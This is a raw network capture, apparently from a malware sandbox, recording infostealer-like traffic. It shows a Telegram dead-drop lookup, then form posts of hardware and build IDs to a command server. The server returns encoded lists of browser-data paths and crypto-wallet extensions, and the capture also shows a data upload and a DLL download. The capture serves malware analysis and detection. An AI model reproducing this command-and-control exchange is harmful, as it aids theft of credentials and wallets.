2024-09-18 12:31:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49816	149.154.167.99	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:37 UTC	143	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=9e01edb38618f1c582_17837654898556210764
2024-09-18 12:31:37 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Sep 2024 12:31:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12290 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-18 12:31:37 UTC	12290	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49820	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:38 UTC	234	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49824	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:40 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:40 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 35 45 39 32 41 32 46 44 41 35 31 39 31 35 33 33 34 32 33 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 2d 2d 0d Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="hwid"445E92A2FDA51915334237-a33c7340-61ca------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------HCBAKJEHDBGHIEBGCGDG--
2024-09-18 12:31:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:41 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|e2f67ffe394568c41ba8678a8a3134d6\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49829	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:41 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:41 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="token"e2f67ffe394568c41ba8678a8a3134d6------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------JJDBAEHIJKJKEBFIEGHICont
2024-09-18 12:31:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:42 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49833	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:43 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"e2f67ffe394568c41ba8678a8a3134d6------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IDHIDBAEGIIIDHJKEGDBCont
2024-09-18 12:31:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:44 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49836	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:44 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:44 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="token"e2f67ffe394568c41ba8678a8a3134d6------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------CFBAKKJDBKJJJKFHDAEBCont
2024-09-18 12:31:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:45 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49844	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:51 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 5553 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:51 UTC	5553	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="token"e2f67ffe394568c41ba8678a8a3134d6------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------KJKKJKEHDBGIDGDHCFHICont
2024-09-18 12:31:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:51 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49846	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:52 UTC	242	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:52 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:52 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:31:52 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:31:52 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 